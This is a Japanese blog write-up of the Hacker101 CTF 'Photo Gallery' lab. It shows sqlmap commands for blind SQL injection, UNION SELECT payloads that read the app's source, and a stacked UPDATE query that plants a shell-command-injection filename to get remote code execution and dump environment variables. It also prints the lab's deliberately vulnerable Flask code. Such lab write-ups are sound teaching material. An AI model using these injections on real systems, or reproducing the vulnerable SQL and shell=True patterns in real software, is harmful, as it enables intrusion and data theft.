はまやんはまやんはまやん

hamayanhamayan's blog

Photo Gallery [Hacker101 CTF]

f:id:hamayanhamayan:20200518233947p:plain

  • 画像のギャラリーサイト
  • ソースコードを見ると、fetch?id=1というリクエストで画像を得ている
    • fetch?id=1fetch?id=2は200応答
    • fetch?id=3は500エラー、fetch?id=0fetch?id=4は404エラー
    • fetchは400エラー
    • とりあえずfetch?id=../../../../../../../etc/passwdはダメっぽい
  • HTTP通信からの読み取り
    • Server: nginx/1.14.0 (Ubuntu)

Flag 0

試しに'を入れてみると、500エラーになる。
404エラーにならないところを見るとインジェクション可能な雰囲気がある。
数が与えられているので、'は無しっぽい。
加えて、404か200のオラクルがあるので、boolean-based blind sql injectionが使えそう。
sqlmapで以下のコマンドを実行する。

$ sqlmap --url "http://35.227.24.107/9f48591542/fetch?id=1" --method GET --dbs -p id --code 200 --skip-waf --random-agent --threads 10 -o --technique B

[*] information_schema
[*] level5
[*] mysql
[*] performance_schema

sqlmapは簡単にできるものでなければ、色々な情報を指定することで、解析速度を上げることができる。
攻撃の当てがついている場合は設定として与えてあげよう。

$ sqlmap --url "http://35.227.24.107/9f48591542/fetch?id=1" --method GET -p id --code 200 --skip-waf --random-agent --threads 10 -o --technique B -D level5 --tables

Database: level5
[2 tables]
+--------+
| albums |
| photos |
+--------+

Database: level5
Table: albums
[1 entry]
+----+---------+
| id | title   |
+----+---------+
| 1  | Kittens |
+----+---------+

Table: photos
[3 entries]
+----+------------------+--------+------------------------------------------------------------------+
| id | title            | parent | filename                                                         |
+----+------------------+--------+------------------------------------------------------------------+
| 1  | Utterly adorable | 1      | files/adorable.jpg                                               |
| 2  | Purrfect         | 1      | files/purrfect.jpg                                               |
| 3  | Invisible        | 1      | 56ff7e1cd7f15e9ee10df87????????????????33cbc50c75b093f0cbc1320fe |
+----+------------------+--------+------------------------------------------------------------------+

56ff7e1cd7f15e9ee10df87????????????????33cbc50c75b093f0cbc1320feはSHA-256のハッシュ値らしい。
ほう?
それよりもfilenameが入っているので、idを入れるとfilenameが取ってこれて、これでファイルを持ってきているのではと推測。
試しに直で/files/adorable.jpgにアクセスしてみる。
→ 404
あれっ???

試しに0 UNION SELECT 'files/adorable.jpg'をidに入れてみると正しくでてくる。
分からん。ヒントを見ると、uwsgi-nginx-flask-docker imageとある。
ググってみると、tiangolo/uwsgi-nginx-flask-docker: Docker image with uWSGI and Nginx for Flask applications in Python running in a single container. Optionally with Alpine Linux.が出てくる。
Dockerfileは無いと思うが、以下のようなディレクトリ構成が書いてある。

.
├── app
│   ├── app
│   │   ├── __init__.py
│   │   ├── main.py
│   └── uwsgi.ini
└── Dockerfile

まずはmain.pyを見てみよう。
0 UNION SELECT 'main.py'

from flask import Flask, abort, redirect, request, Response
import base64, json, MySQLdb, os, re, subprocess

app = Flask(__name__)

home = '''
<!doctype html>
<html>
  <head>
      <title>Magical Image Gallery</title>
  </head>
  <body>
      <h1>Magical Image Gallery</h1>
$ALBUMS$
  </body>
</html>
'''

viewAlbum = '''
<!doctype html>
<html>
  <head>
      <title>$TITLE$ -- Magical Image Gallery</title>
  </head>
  <body>
      <h1>$TITLE$</h1>
$GALLERY$
  </body>
</html>
'''

def getDb():
    return MySQLdb.connect(host="localhost", user="root", password="", db="level5")

def sanitize(data):
    return data.replace('&', '&amp;').replace('<', '&lt;').replace('>', '&gt;').replace('"', '&quot;')

@app.route('/')
def index():
    cur = getDb().cursor()
    cur.execute('SELECT id, title FROM albums')
    albums = list(cur.fetchall())

    rep = ''
    for id, title in albums:
        rep += '<h2>%s</h2>\n' % sanitize(title)
        rep += '<div>'
        cur.execute('SELECT id, title, filename FROM photos WHERE parent=%s LIMIT 3', (id, ))
        fns = []
        for pid, ptitle, pfn in cur.fetchall():
            rep += '<div><img src="fetch?id=%i" width="266" height="150"><br>%s</div>' % (pid, sanitize(ptitle))
            fns.append(pfn)
        rep += '<i>Space used: ' + subprocess.check_output('du -ch %s || exit 0' % ' '.join('files/' + fn for fn in fns), shell=True, stderr=subprocess.STDOUT).strip().rsplit('\n', 1)[-1] + '</i>'
        rep += '</div>\n'

    return home.replace('$ALBUMS$', rep)

@app.route('/fetch')
def fetch():
    cur = getDb().cursor()
    if cur.execute('SELECT filename FROM photos WHERE id=%s' % request.args['id']) == 0:
        abort(404)

    # It's dangerous to go alone, take this:
    # ^FLAG^99fc070b8a7b010f9$FLAG$

    return file('./%s' % cur.fetchone()[0].replace('..', ''), 'rb').read()

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=80)

出てきましたね。

Flag 1

上で出した56ff7e1cd7f15e9ee10df87????????????????33cbc50c75b093f0cbc1320feの先頭末尾にFLAGのシグネチャを付けて提出すると、Flag1となる。
分かるか!

Flag 2

外部から入力を入れられるところは/fetch?id=である。
ここにうまくやれば、UPDATE文をinjectionできる。

/fetch?id=1;UPDATE photos SET filename=' || env > dump.txt' WHERE id = 3;COMMIT;--

普通にクエリが実行されて帰ってくる。
しかし、UPDATE文も実行される。

/
f:id:hamayanhamayan:20200518234001p:plain

これで、du -ch %s || exit 0にインジェクションされて、du -ch * || env > dump.txt || exit 0みたいになる。
ここでRCEができて、dump.txtに環境変数が吐き出される。
サイズがちゃんと出てきているし、その裏で環境変数が書きだされている。

fetch?id=0 UNION SELECT 'dump.txt'

PYTHONIOENCODING=UTF-8 UWSGI_ORIGINAL_PROC_NAME=/usr/local/bin/uwsgi SUPERVISOR_GROUP_NAME=uwsgi FLAGS=["^FLAG^99fc0735525584ac5dc6d3bba06a3b0b8a7b010f9$FLAG$", "^FLAG^56ff7e1cd7f15e9ee10df50c75b093f0cbc1320fe$FLAG$", "^FLAG^041d81d3710e5bb9964894e7f32f6960a48713afe3088d0f52a7482b6b264d81$FLAG$"] HOSTNAME=9f454215 SHLVL=0 PYTHON_PIP_VERSION=18.0 HOME=/root GPG_KEY=C01E1CAD5EA2C218ADD4FF UWSGI_INI=/app/uwsgi.ini NGINX_MAX_UPLOAD=0 UWSGI_PROCESSES=16 STATIC_URL=/static UWSGI_CHEAPER=2 NGINX_VERSION=1.13.12-1~stretch PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin NJS_VERSION=1.13.12.0.2.0-1~stretch LANG=C.UTF-8 SUPERVISOR_ENABLED=1 PYTHON_VERSION=2.7.15 NGINX_WORKER_PROCESSES=1 SUPERVISOR_SERVER_URL=unix:///var/run/supervisor.sock SUPERVISOR_PROCESS_NAME=uwsgi LISTEN_PORT=80 STATIC_INDEX=0 PWD=/app STATIC_PATH=/app/static PYTHONPATH=/app UWSGI_RELOADS=0

出てきました。

参考